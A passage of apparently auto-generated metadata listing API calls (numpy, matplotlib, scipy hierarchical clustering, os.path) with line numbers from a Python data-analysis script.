"usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 188, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 224, "usage_type": "attribute"}, {"api_name": "numpy.isin", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.isin", "line_number": 233, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 243, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 253, "usage_type": "attribute"}, {"api_name": "numpy.isin", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.isin", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 263, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 264, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 291, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 295, "usage_type": "call"}, {"api_name": "scipy.stats.cluster.hierarchy.dendrogram", "line_number": 298, "usage_type": "call"}, {"api_name": "scipy.stats.cluster", "line_number": 298, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 298, "usage_type": "name"}, {"api_name": "scipy.stats.cluster.hierarchy.linkage", "line_number": 298, "usage_type": "call"}, {"api_name": "scipy.stats.cluster.hierarchy.dendrogram", "line_number": 301, "usage_type": "call"}, {"api_name": "scipy.stats.cluster", "line_number": 301, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 301, "usage_type": "name"}, {"api_name": "scipy.stats.cluster.hierarchy.linkage", "line_number": 301, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 306, "usage_type": "call"}, {"api_name": "os.path", "line_number": 306, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 308, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", 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